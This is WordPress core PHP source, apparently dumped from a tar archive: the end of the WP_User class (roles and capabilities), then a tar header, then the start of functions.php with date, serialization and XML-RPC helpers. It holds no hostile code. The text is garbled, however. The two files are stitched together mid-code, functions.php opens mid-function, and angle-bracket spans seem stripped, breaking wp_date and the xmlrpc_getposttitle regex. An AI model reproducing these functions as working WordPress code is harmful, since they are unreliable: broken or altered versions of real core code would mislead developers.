has_prop( $key ) { return $this->__isset( $key ); } /** * Returns an array representation. * * @since 3.5.0 * * @return array Array representation. */ public function to_array() { return get_object_vars( $this->data ); } /** * Makes private/protected methods readable for backward compatibility. * * @since 4.3.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( '_init_caps' === $name ) { return $this->_init_caps( ...$arguments ); } return false; } /** * Sets up capability object properties. * * Will set the value for the 'cap_key' property to current database table * prefix, followed by 'capabilities'. Will then check to see if the * property matching the 'cap_key' exists and is an array. If so, it will be * used. * * @since 2.1.0 * @deprecated 4.9.0 Use WP_User::for_site() * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $cap_key Optional capability key */ protected function _init_caps( $cap_key = '' ) { global $wpdb; _deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' ); if ( empty( $cap_key ) ) { $this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities'; } else { $this->cap_key = $cap_key; } $this->caps = $this->get_caps_data(); $this->get_role_caps(); } /** * Retrieves all of the capabilities of the user's roles, and merges them with * individual user capabilities. * * All of the capabilities of the user's roles are merged with the user's individual * capabilities. This means that the user can be denied specific capabilities that * their role might have, but the user is specifically denied. * * @since 2.0.0 * * @return bool[] Array of key/value pairs where keys represent a capability name * and boolean values represent whether the user has that capability. */ public function get_role_caps() { $switch_site = false; if ( is_multisite() && get_current_blog_id() != $this->site_id ) { $switch_site = true; switch_to_blog( $this->site_id ); } $wp_roles = wp_roles(); // Filter out caps that are not role names and assign to $this->roles. if ( is_array( $this->caps ) ) { $this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) ); } // Build $allcaps from role caps, overlay user's $caps. $this->allcaps = array(); foreach ( (array) $this->roles as $role ) { $the_role = $wp_roles->get_role( $role ); $this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities ); } $this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps ); if ( $switch_site ) { restore_current_blog(); } return $this->allcaps; } /** * Adds role to user. * * Updates the user's meta data option with capabilities and roles. * * @since 2.0.0 * * @param string $role Role name. */ public function add_role( $role ) { if ( empty( $role ) ) { return; } if ( in_array( $role, $this->roles, true ) ) { return; } $this->caps[ $role ] = true; update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires immediately after the user has been given a new role. * * @since 4.3.0 * * @param int $user_id The user ID. * @param string $role The new role. */ do_action( 'add_user_role', $this->ID, $role ); } /** * Removes role from user. * * @since 2.0.0 * * @param string $role Role name. */ public function remove_role( $role ) { if ( ! in_array( $role, $this->roles, true ) ) { return; } unset( $this->caps[ $role ] ); update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires immediately after a role as been removed from a user. * * @since 4.3.0 * * @param int $user_id The user ID. * @param string $role The removed role. */ do_action( 'remove_user_role', $this->ID, $role ); } /** * Sets the role of the user. * * This will remove the previous roles of the user and assign the user the * new one. You can set the role to an empty string and it will remove all * of the roles from the user. * * @since 2.0.0 * * @param string $role Role name. */ public function set_role( $role ) { if ( 1 === count( $this->roles ) && current( $this->roles ) == $role ) { return; } foreach ( (array) $this->roles as $oldrole ) { unset( $this->caps[ $oldrole ] ); } $old_roles = $this->roles; if ( ! empty( $role ) ) { $this->caps[ $role ] = true; $this->roles = array( $role => true ); } else { $this->roles = array(); } update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); foreach ( $old_roles as $old_role ) { if ( ! $old_role || $old_role === $role ) { continue; } /** This action is documented in wp-includes/class-wp-user.php */ do_action( 'remove_user_role', $this->ID, $old_role ); } if ( $role && ! in_array( $role, $old_roles, true ) ) { /** This action is documented in wp-includes/class-wp-user.php */ do_action( 'add_user_role', $this->ID, $role ); } /** * Fires after the user's role has changed. * * @since 2.9.0 * @since 3.6.0 Added $old_roles to include an array of the user's previous roles. * * @param int $user_id The user ID. * @param string $role The new role. * @param string[] $old_roles An array of the user's previous roles. */ do_action( 'set_user_role', $this->ID, $role, $old_roles ); } /** * Chooses the maximum level the user has. * * Will compare the level from the $item parameter against the $max * parameter. If the item is incorrect, then just the $max parameter value * will be returned. * * Used to get the max level based on the capabilities the user has. This * is also based on roles, so if the user is assigned the Administrator role * then the capability 'level_10' will exist and the user will get that * value. * * @since 2.0.0 * * @param int $max Max level of user. * @param string $item Level capability name. * @return int Max Level. */ public function level_reduction( $max, $item ) { if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) { $level = (int) $matches[1]; return max( $max, $level ); } else { return $max; } } /** * Updates the maximum user level for the user. * * Updates the 'user_level' user metadata (includes prefix that is the * database table prefix) with the maximum user level. Gets the value from * the all of the capabilities that the user has. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function update_user_level_from_caps() { global $wpdb; $this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 ); update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level ); } /** * Adds capability and grant or deny access to capability. * * @since 2.0.0 * * @param string $cap Capability name. * @param bool $grant Whether to grant capability to user. */ public function add_cap( $cap, $grant = true ) { $this->caps[ $cap ] = $grant; update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); } /** * Removes capability from user. * * @since 2.0.0 * * @param string $cap Capability name. */ public function remove_cap( $cap ) { if ( ! isset( $this->caps[ $cap ] ) ) { return; } unset( $this->caps[ $cap ] ); update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); } /** * Removes all of the capabilities of the user. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function remove_all_caps() { global $wpdb; $this->caps = array(); delete_user_meta( $this->ID, $this->cap_key ); delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' ); $this->get_role_caps(); } /** * Returns whether the user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * $user->has_cap( 'edit_posts' ); * $user->has_cap( 'edit_post', $post->ID ); * $user->has_cap( 'edit_post_meta', $post->ID, $meta_key ); * * While checking against a role in place of a capability is supported in part, this practice is discouraged as it * may produce unreliable results. * * @since 2.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @see map_meta_cap() * * @param string $cap Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability, or, if an object ID is passed, whether the user has * the given capability for that object. */ public function has_cap( $cap, ...$args ) { if ( is_numeric( $cap ) ) { _deprecated_argument( __FUNCTION__, '2.0.0', __( 'Usage of user levels is deprecated. Use capabilities instead.' ) ); $cap = $this->translate_level_to_cap( $cap ); } $caps = map_meta_cap( $cap, $this->ID, ...$args ); // Multisite super admin has all caps by definition, Unless specifically denied. if ( is_multisite() && is_super_admin( $this->ID ) ) { if ( in_array( 'do_not_allow', $caps, true ) ) { return false; } return true; } // Maintain BC for the argument passed to the "user_has_cap" filter. $args = array_merge( array( $cap, $this->ID ), $args ); /** * Dynamically filter a user's capabilities. * * @since 2.0.0 * @since 3.7.0 Added the `$user` parameter. * * @param bool[] $allcaps Array of key/value pairs where keys represent a capability name * and boolean values represent whether the user has that capability. * @param string[] $caps Required primitive capabilities for the requested capability. * @param array $args { * Arguments that accompany the requested capability check. * * @type string $0 Requested capability. * @type int $1 Concerned user ID. * @type mixed ...$2 Optional second and further parameters, typically object ID. * } * @param WP_User $user The user object. */ $capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this ); // Everyone is allowed to exist. $capabilities['exist'] = true; // Nobody is allowed to do things they are not allowed to do. unset( $capabilities['do_not_allow'] ); // Must have ALL requested caps. foreach ( (array) $caps as $cap ) { if ( empty( $capabilities[ $cap ] ) ) { return false; } } return true; } /** * Converts numeric level to level capability name. * * Prepends 'level_' to level number. * * @since 2.0.0 * * @param int $level Level number, 1 to 10. * @return string */ public function translate_level_to_cap( $level ) { return 'level_' . $level; } /** * Sets the site to operate on. Defaults to the current site. * * @since 3.0.0 * @deprecated 4.9.0 Use WP_User::for_site() * * @param int $blog_id Optional. Site ID, defaults to current site. */ public function for_blog( $blog_id = '' ) { _deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' ); $this->for_site( $blog_id ); } /** * Sets the site to operate on. Defaults to the current site. * * @since 4.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id Site ID to initialize user capabilities for. Default is the current site. */ public function for_site( $site_id = '' ) { global $wpdb; if ( ! empty( $site_id ) ) { $this->site_id = absint( $site_id ); } else { $this->site_id = get_current_blog_id(); } $this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities'; $this->caps = $this->get_caps_data(); $this->get_role_caps(); } /** * Gets the ID of the site for which the user's capabilities are currently initialized. * * @since 4.9.0 * * @return int Site ID. */ public function get_site_id() { return $this->site_id; } /** * Gets the available user capabilities data. * * @since 4.9.0 * * @return bool[] List of capabilities keyed by the capability name, * e.g. array( 'edit_posts' => true, 'delete_posts' => false ). */ private function get_caps_data() { $caps = get_user_meta( $this->ID, $this->cap_key, true ); if ( ! is_array( $caps ) ) { return array(); } return $caps; } } functions.php000064400000773077147177035010007317 0ustar00getTimestamp() + $datetime->getOffset(); } if ( $translate ) { return wp_date( $format, $datetime->getTimestamp() ); } return $datetime->format( $format ); } /** * Retrieves the current time based on specified type. * * - The 'mysql' type will return the time in the format for MySQL DATETIME field. * - The 'timestamp' or 'U' types will return the current timestamp or a sum of timestamp * and timezone offset, depending on `$gmt`. * - Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d'). * * If `$gmt` is a truthy value then both types will use GMT time, otherwise the * output is adjusted with the GMT offset for the site. * * @since 1.0.0 * @since 5.3.0 Now returns an integer if `$type` is 'U'. Previously a string was returned. * * @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', 'U', * or PHP date format string (e.g. 'Y-m-d'). * @param int|bool $gmt Optional. Whether to use GMT timezone. Default false. * @return int|string Integer if `$type` is 'timestamp' or 'U', string otherwise. */ function current_time( $type, $gmt = 0 ) { // Don't use non-GMT timestamp, unless you know the difference and really need to. if ( 'timestamp' === $type || 'U' === $type ) { return $gmt ? time() : time() + (int) ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ); } if ( 'mysql' === $type ) { $type = 'Y-m-d H:i:s'; } $timezone = $gmt ? new DateTimeZone( 'UTC' ) : wp_timezone(); $datetime = new DateTime( 'now', $timezone ); return $datetime->format( $type ); } /** * Retrieves the current time as an object using the site's timezone. * * @since 5.3.0 * * @return DateTimeImmutable Date and time object. */ function current_datetime() { return new DateTimeImmutable( 'now', wp_timezone() ); } /** * Retrieves the timezone of the site as a string. * * Uses the `timezone_string` option to get a proper timezone name if available, * otherwise falls back to a manual UTC ± offset. * * Example return values: * * - 'Europe/Rome' * - 'America/North_Dakota/New_Salem' * - 'UTC' * - '-06:30' * - '+00:00' * - '+08:45' * * @since 5.3.0 * * @return string PHP timezone name or a ±HH:MM offset. */ function wp_timezone_string() { $timezone_string = get_option( 'timezone_string' ); if ( $timezone_string ) { return $timezone_string; } $offset = (float) get_option( 'gmt_offset' ); $hours = (int) $offset; $minutes = ( $offset - $hours ); $sign = ( $offset < 0 ) ? '-' : '+'; $abs_hour = abs( $hours ); $abs_mins = abs( $minutes * 60 ); $tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins ); return $tz_offset; } /** * Retrieves the timezone of the site as a `DateTimeZone` object. * * Timezone can be based on a PHP timezone string or a ±HH:MM offset. * * @since 5.3.0 * * @return DateTimeZone Timezone object. */ function wp_timezone() { return new DateTimeZone( wp_timezone_string() ); } /** * Retrieves the date in localized format, based on a sum of Unix timestamp and * timezone offset in seconds. * * If the locale specifies the locale month and weekday, then the locale will * take over the format for the date. If it isn't, then the date format string * will be used instead. * * Note that due to the way WP typically generates a sum of timestamp and offset * with `strtotime()`, it implies offset added at a _current_ time, not at the time * the timestamp represents. Storing such timestamps or calculating them differently * will lead to invalid output. * * @since 0.71 * @since 5.3.0 Converted into a wrapper for wp_date(). * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $format Format to display the date. * @param int|bool $timestamp_with_offset Optional. A sum of Unix timestamp and timezone offset * in seconds. Default false. * @param bool $gmt Optional. Whether to use GMT timezone. Only applies * if timestamp is not provided. Default false. * @return string The date, translated if locale specifies it. */ function date_i18n( $format, $timestamp_with_offset = false, $gmt = false ) { $timestamp = $timestamp_with_offset; // If timestamp is omitted it should be current time (summed with offset, unless `$gmt` is true). if ( ! is_numeric( $timestamp ) ) { // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested $timestamp = current_time( 'timestamp', $gmt ); } /* * This is a legacy implementation quirk that the returned timestamp is also with offset. * Ideally this function should never be used to produce a timestamp. */ if ( 'U' === $format ) { $date = $timestamp; } elseif ( $gmt && false === $timestamp_with_offset ) { // Current time in UTC. $date = wp_date( $format, null, new DateTimeZone( 'UTC' ) ); } elseif ( false === $timestamp_with_offset ) { // Current time in site's timezone. $date = wp_date( $format ); } else { /* * Timestamp with offset is typically produced by a UTC `strtotime()` call on an input without timezone. * This is the best attempt to reverse that operation into a local time to use. */ $local_time = gmdate( 'Y-m-d H:i:s', $timestamp ); $timezone = wp_timezone(); $datetime = date_create( $local_time, $timezone ); $date = wp_date( $format, $datetime->getTimestamp(), $timezone ); } /** * Filters the date formatted based on the locale. * * @since 2.8.0 * * @param string $date Formatted date string. * @param string $format Format to display the date. * @param int $timestamp A sum of Unix timestamp and timezone offset in seconds. * Might be without offset if input omitted timestamp but requested GMT. * @param bool $gmt Whether to use GMT timezone. Only applies if timestamp was not provided. * Default false. */ $date = apply_filters( 'date_i18n', $date, $format, $timestamp, $gmt ); return $date; } /** * Retrieves the date, in localized format. * * This is a newer function, intended to replace `date_i18n()` without legacy quirks in it. * * Note that, unlike `date_i18n()`, this function accepts a true Unix timestamp, not summed * with timezone offset. * * @since 5.3.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $format PHP date format. * @param int $timestamp Optional. Unix timestamp. Defaults to current time. * @param DateTimeZone $timezone Optional. Timezone to output result in. Defaults to timezone * from site settings. * @return string|false The date, translated if locale specifies it. False on invalid timestamp input. */ function wp_date( $format, $timestamp = null, $timezone = null ) { global $wp_locale; if ( null === $timestamp ) { $timestamp = time(); } elseif ( ! is_numeric( $timestamp ) ) { return false; } if ( ! $timezone ) { $timezone = wp_timezone(); } $datetime = date_create( '@' . $timestamp ); $datetime->setTimezone( $timezone ); if ( empty( $wp_locale->month ) || empty( $wp_locale->weekday ) ) { $date = $datetime->format( $format ); } else { // We need to unpack shorthand `r` format because it has parts that might be localized. $format = preg_replace( '/(?get_month( $datetime->format( 'm' ) ); $weekday = $wp_locale->get_weekday( $datetime->format( 'w' ) ); for ( $i = 0; $i < $format_length; $i ++ ) { switch ( $format[ $i ] ) { case 'D': $new_format .= addcslashes( $wp_locale->get_weekday_abbrev( $weekday ), '\\A..Za..z' ); break; case 'F': $new_format .= addcslashes( $month, '\\A..Za..z' ); break; case 'l': $new_format .= addcslashes( $weekday, '\\A..Za..z' ); break; case 'M': $new_format .= addcslashes( $wp_locale->get_month_abbrev( $month ), '\\A..Za..z' ); break; case 'a': $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'a' ) ), '\\A..Za..z' ); break; case 'A': $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'A' ) ), '\\A..Za..z' ); break; case '\\': $new_format .= $format[ $i ]; // If character follows a slash, we add it without translating. if ( $i < $format_length ) { $new_format .= $format[ ++$i ]; } break; default: $new_format .= $format[ $i ]; break; } } $date = $datetime->format( $new_format ); $date = wp_maybe_decline_date( $date, $format ); } /** * Filters the date formatted based on the locale. * * @since 5.3.0 * * @param string $date Formatted date string. * @param string $format Format to display the date. * @param int $timestamp Unix timestamp. * @param DateTimeZone $timezone Timezone. */ $date = apply_filters( 'wp_date', $date, $format, $timestamp, $timezone ); return $date; } /** * Determines if the date should be declined. * * If the locale specifies that month names require a genitive case in certain * formats (like 'j F Y'), the month name will be replaced with a correct form. * * @since 4.4.0 * @since 5.4.0 The `$format` parameter was added. * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $date Formatted date string. * @param string $format Optional. Date format to check. Default empty string. * @return string The date, declined if locale specifies it. */ function wp_maybe_decline_date( $date, $format = '' ) { global $wp_locale; // i18n functions are not available in SHORTINIT mode. if ( ! function_exists( '_x' ) ) { return $date; } /* * translators: If months in your language require a genitive case, * translate this to 'on'. Do not translate into your own language. */ if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) { $months = $wp_locale->month; $months_genitive = $wp_locale->month_genitive; /* * Match a format like 'j F Y' or 'j. F' (day of the month, followed by month name) * and decline the month. */ if ( $format ) { $decline = preg_match( '#[dj]\.? F#', $format ); } else { // If the format is not passed, try to guess it from the date string. $decline = preg_match( '#\b\d{1,2}\.? [^\d ]+\b#u', $date ); } if ( $decline ) { foreach ( $months as $key => $month ) { $months[ $key ] = '# ' . preg_quote( $month, '#' ) . '\b#u'; } foreach ( $months_genitive as $key => $month ) { $months_genitive[ $key ] = ' ' . $month; } $date = preg_replace( $months, $months_genitive, $date ); } /* * Match a format like 'F jS' or 'F j' (month name, followed by day with an optional ordinal suffix) * and change it to declined 'j F'. */ if ( $format ) { $decline = preg_match( '#F [dj]#', $format ); } else { // If the format is not passed, try to guess it from the date string. $decline = preg_match( '#\b[^\d ]+ \d{1,2}(st|nd|rd|th)?\b#u', trim( $date ) ); } if ( $decline ) { foreach ( $months as $key => $month ) { $months[ $key ] = '#\b' . preg_quote( $month, '#' ) . ' (\d{1,2})(st|nd|rd|th)?([-–]\d{1,2})?(st|nd|rd|th)?\b#u'; } foreach ( $months_genitive as $key => $month ) { $months_genitive[ $key ] = '$1$3 ' . $month; } $date = preg_replace( $months, $months_genitive, $date ); } } // Used for locale-specific rules. $locale = get_locale(); if ( 'ca' === $locale ) { // " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..." $date = preg_replace( '# de ([ao])#i', " d'\\1", $date ); } return $date; } /** * Convert float number to format based on the locale. * * @since 2.3.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param float $number The number to convert based on locale. * @param int $decimals Optional. Precision of the number of decimal places. Default 0. * @return string Converted number in string format. */ function number_format_i18n( $number, $decimals = 0 ) { global $wp_locale; if ( isset( $wp_locale ) ) { $formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] ); } else { $formatted = number_format( $number, absint( $decimals ) ); } /** * Filters the number formatted based on the locale. * * @since 2.8.0 * @since 4.9.0 The `$number` and `$decimals` parameters were added. * * @param string $formatted Converted number in string format. * @param float $number The number to convert based on locale. * @param int $decimals Precision of the number of decimal places. */ return apply_filters( 'number_format_i18n', $formatted, $number, $decimals ); } /** * Converts a number of bytes to the largest unit the bytes will fit into. * * It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts * number of bytes to human readable number by taking the number of that unit * that the bytes will go into it. Supports YB value. * * Please note that integers in PHP are limited to 32 bits, unless they are on * 64 bit architecture, then they have 64 bit size. If you need to place the * larger size then what PHP integer type will hold, then use a string. It will * be converted to a double, which should always have 64 bit length. * * Technically the correct unit names for powers of 1024 are KiB, MiB etc. * * @since 2.3.0 * @since 6.0.0 Support for PB, EB, ZB, and YB was added. * * @param int|string $bytes Number of bytes. Note max integer size for integers. * @param int $decimals Optional. Precision of number of decimal places. Default 0. * @return string|false Number string on success, false on failure. */ function size_format( $bytes, $decimals = 0 ) { $quant = array( /* translators: Unit symbol for yottabyte. */ _x( 'YB', 'unit symbol' ) => YB_IN_BYTES, /* translators: Unit symbol for zettabyte. */ _x( 'ZB', 'unit symbol' ) => ZB_IN_BYTES, /* translators: Unit symbol for exabyte. */ _x( 'EB', 'unit symbol' ) => EB_IN_BYTES, /* translators: Unit symbol for petabyte. */ _x( 'PB', 'unit symbol' ) => PB_IN_BYTES, /* translators: Unit symbol for terabyte. */ _x( 'TB', 'unit symbol' ) => TB_IN_BYTES, /* translators: Unit symbol for gigabyte. */ _x( 'GB', 'unit symbol' ) => GB_IN_BYTES, /* translators: Unit symbol for megabyte. */ _x( 'MB', 'unit symbol' ) => MB_IN_BYTES, /* translators: Unit symbol for kilobyte. */ _x( 'KB', 'unit symbol' ) => KB_IN_BYTES, /* translators: Unit symbol for byte. */ _x( 'B', 'unit symbol' ) => 1, ); if ( 0 === $bytes ) { /* translators: Unit symbol for byte. */ return number_format_i18n( 0, $decimals ) . ' ' . _x( 'B', 'unit symbol' ); } foreach ( $quant as $unit => $mag ) { if ( (float) $bytes >= $mag ) { return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit; } } return false; } /** * Convert a duration to human readable format. * * @since 5.1.0 * * @param string $duration Duration will be in string format (HH:ii:ss) OR (ii:ss), * with a possible prepended negative sign (-). * @return string|false A human readable duration string, false on failure. */ function human_readable_duration( $duration = '' ) { if ( ( empty( $duration ) || ! is_string( $duration ) ) ) { return false; } $duration = trim( $duration ); // Remove prepended negative sign. if ( '-' === substr( $duration, 0, 1 ) ) { $duration = substr( $duration, 1 ); } // Extract duration parts. $duration_parts = array_reverse( explode( ':', $duration ) ); $duration_count = count( $duration_parts ); $hour = null; $minute = null; $second = null; if ( 3 === $duration_count ) { // Validate HH:ii:ss duration format. if ( ! ( (bool) preg_match( '/^([0-9]+):([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) { return false; } // Three parts: hours, minutes & seconds. list( $second, $minute, $hour ) = $duration_parts; } elseif ( 2 === $duration_count ) { // Validate ii:ss duration format. if ( ! ( (bool) preg_match( '/^([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) { return false; } // Two parts: minutes & seconds. list( $second, $minute ) = $duration_parts; } else { return false; } $human_readable_duration = array(); // Add the hour part to the string. if ( is_numeric( $hour ) ) { /* translators: %s: Time duration in hour or hours. */ $human_readable_duration[] = sprintf( _n( '%s hour', '%s hours', $hour ), (int) $hour ); } // Add the minute part to the string. if ( is_numeric( $minute ) ) { /* translators: %s: Time duration in minute or minutes. */ $human_readable_duration[] = sprintf( _n( '%s minute', '%s minutes', $minute ), (int) $minute ); } // Add the second part to the string. if ( is_numeric( $second ) ) { /* translators: %s: Time duration in second or seconds. */ $human_readable_duration[] = sprintf( _n( '%s second', '%s seconds', $second ), (int) $second ); } return implode( ', ', $human_readable_duration ); } /** * Get the week start and end from the datetime or date string from MySQL. * * @since 0.71 * * @param string $mysqlstring Date or datetime field type from MySQL. * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string. * @return int[] { * Week start and end dates as Unix timestamps. * * @type int $start The week start date as a Unix timestamp. * @type int $end The week end date as a Unix timestamp. * } */ function get_weekstartend( $mysqlstring, $start_of_week = '' ) { // MySQL string year. $my = substr( $mysqlstring, 0, 4 ); // MySQL string month. $mm = substr( $mysqlstring, 8, 2 ); // MySQL string day. $md = substr( $mysqlstring, 5, 2 ); // The timestamp for MySQL string day. $day = mktime( 0, 0, 0, $md, $mm, $my ); // The day of the week from the timestamp. $weekday = gmdate( 'w', $day ); if ( ! is_numeric( $start_of_week ) ) { $start_of_week = get_option( 'start_of_week' ); } if ( $weekday < $start_of_week ) { $weekday += 7; } // The most recent week start day on or before $day. $start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week ); // $start + 1 week - 1 second. $end = $start + WEEK_IN_SECONDS - 1; return compact( 'start', 'end' ); } /** * Serialize data, if needed. * * @since 2.0.5 * * @param string|array|object $data Data that might be serialized. * @return mixed A scalar data. */ function maybe_serialize( $data ) { if ( is_array( $data ) || is_object( $data ) ) { return serialize( $data ); } /* * Double serialization is required for backward compatibility. * See https://core.trac.wordpress.org/ticket/12930 * Also the world will end. See WP 3.6.1. */ if ( is_serialized( $data, false ) ) { return serialize( $data ); } return $data; } /** * Unserialize data only if it was serialized. * * @since 2.0.0 * * @param string $data Data that might be unserialized. * @return mixed Unserialized data can be any type. */ function maybe_unserialize( $data ) { if ( is_serialized( $data ) ) { // Don't attempt to unserialize data that wasn't serialized going in. return @unserialize( trim( $data ) ); } return $data; } /** * Check value to find if it was serialized. * * If $data is not an string, then returned value will always be false. * Serialized data is always a string. * * @since 2.0.5 * * @param string $data Value to check to see if was serialized. * @param bool $strict Optional. Whether to be strict about the end of the string. Default true. * @return bool False if not serialized and true if it was. */ function is_serialized( $data, $strict = true ) { // If it isn't a string, it isn't serialized. if ( ! is_string( $data ) ) { return false; } $data = trim( $data ); if ( 'N;' === $data ) { return true; } if ( strlen( $data ) < 4 ) { return false; } if ( ':' !== $data[1] ) { return false; } if ( $strict ) { $lastc = substr( $data, -1 ); if ( ';' !== $lastc && '}' !== $lastc ) { return false; } } else { $semicolon = strpos( $data, ';' ); $brace = strpos( $data, '}' ); // Either ; or } must exist. if ( false === $semicolon && false === $brace ) { return false; } // But neither must be in the first X characters. if ( false !== $semicolon && $semicolon < 3 ) { return false; } if ( false !== $brace && $brace < 4 ) { return false; } } $token = $data[0]; switch ( $token ) { case 's': if ( $strict ) { if ( '"' !== substr( $data, -2, 1 ) ) { return false; } } elseif ( false === strpos( $data, '"' ) ) { return false; } // Or else fall through. case 'a': case 'O': return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b': case 'i': case 'd': $end = $strict ? '$' : ''; return (bool) preg_match( "/^{$token}:[0-9.E+-]+;$end/", $data ); } return false; } /** * Check whether serialized data is of string type. * * @since 2.0.5 * * @param string $data Serialized data. * @return bool False if not a serialized string, true if it is. */ function is_serialized_string( $data ) { // if it isn't a string, it isn't a serialized string. if ( ! is_string( $data ) ) { return false; } $data = trim( $data ); if ( strlen( $data ) < 4 ) { return false; } elseif ( ':' !== $data[1] ) { return false; } elseif ( ';' !== substr( $data, -1 ) ) { return false; } elseif ( 's' !== $data[0] ) { return false; } elseif ( '"' !== substr( $data, -2, 1 ) ) { return false; } else { return true; } } /** * Retrieve post title from XMLRPC XML. * * If the title element is not part of the XML, then the default post title from * the $post_default_title will be used instead. * * @since 0.71 * * @global string $post_default_title Default XML-RPC post title. * * @param string $content XMLRPC XML Request content * @return string Post title */ function xmlrpc_getposttitle( $content ) { global $post_default_title; if ( preg_match( '/(.+?)<\/title>/is', $content, $matchtitle ) ) { $post_title = $matchtitle[1]; } else { $post_title = $post_default_title; } return $post_title; } /** * Retrieve the post category or categories from XMLRPC XML. * * If the category element is not found, then the default post category will be * used. The return type then would be what $post_default_category. If the * category is found, then it will always be an array. * * @since 0.71 * * @global string $post_default_category Default XML-RPC post category. * * @param string $content XMLRPC XML Request content * @return string|array List of categories or category name. */ function xmlrpc_getpostcategory( $content ) { global $post_default_category; if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) { $post_category = trim( $matchcat[1], ',' ); $post_category = explode( ',', $post_category ); } else { $post_category = $post_default_category; } return $post_category; } /** * XMLRPC XML content without title and category elements. * * @since 0.71 * * @param string $content XML-RPC XML Request content. * @return string XMLRPC XML Request content without title and category elements. */ function xmlrpc_removepostdata( $content ) { $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content ); $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content ); $content = trim( $content ); return $content; } /** * Use RegEx to extract URLs from arbitrary content. * * @since 3.7.0 * @since 6.0.0 Fixes support for HTML entities (Trac 30580). * * @param string $content Content to extract URLs from. * @return string[] Array of URLs found in passed string. */ function wp_extract_urls( $content ) { preg_match_all( "#([\"']?)(" . '(?:([\w-]+:)?//?)' . '[^\s()<>]+' . '[.]' . '(?:' . '\([\w\d]+\)|' . '(?:' . "[^`!()\[\]{}:'\".,<>«»“”‘’\s]|" . '(?:[:]\d+)?/?' . ')+' . ')' . ")\\1#", $content, $post_links ); $post_links = array_unique( array_map( static function( $link ) { // Decode to replace valid entities, like &. $link = html_entity_decode( $link ); // Maintain backward compatibility by removing extraneous semi-colons (`;`). return str_replace( ';', '', $link ); }, $post_links[2] ) ); return array_values( $post_links ); } /** * Check content for video and audio links to add as enclosures. * * Will not add enclosures that have already been added and will * remove enclosures that are no longer in the post. This is called as * pingbacks and trackbacks. * * @since 1.5.0 * @since 5.3.0 The `$content` parameter was made optional, and the `$post` parameter was * updated to accept a post ID or a WP_Post object. * @since 5.6.0 The `$content` parameter is no longer optional, but passing `null` to skip it * is still supported. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|null $content Post content. If `null`, the `post_content` field from `$post` is used. * @param int|WP_Post $post Post ID or post object. * @return void|false Void on success, false if the post is not found. */ function do_enclose( $content, $post ) { global $wpdb; // @todo Tidy this code and make the debug code optional. include_once ABSPATH . WPINC . '/class-IXR.php'; $post = get_post( $post ); if ( ! $post ) { return false; } if ( null === $content ) { $content = $post->post_content; } $post_links = array(); $pung = get_enclosed( $post->ID ); $post_links_temp = wp_extract_urls( $content ); foreach ( $pung as $link_test ) { // Link is no longer in post. if ( ! in_array( $link_test, $post_links_temp, true ) ) { $mids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $link_test ) . '%' ) ); foreach ( $mids as $mid ) { delete_metadata_by_mid( 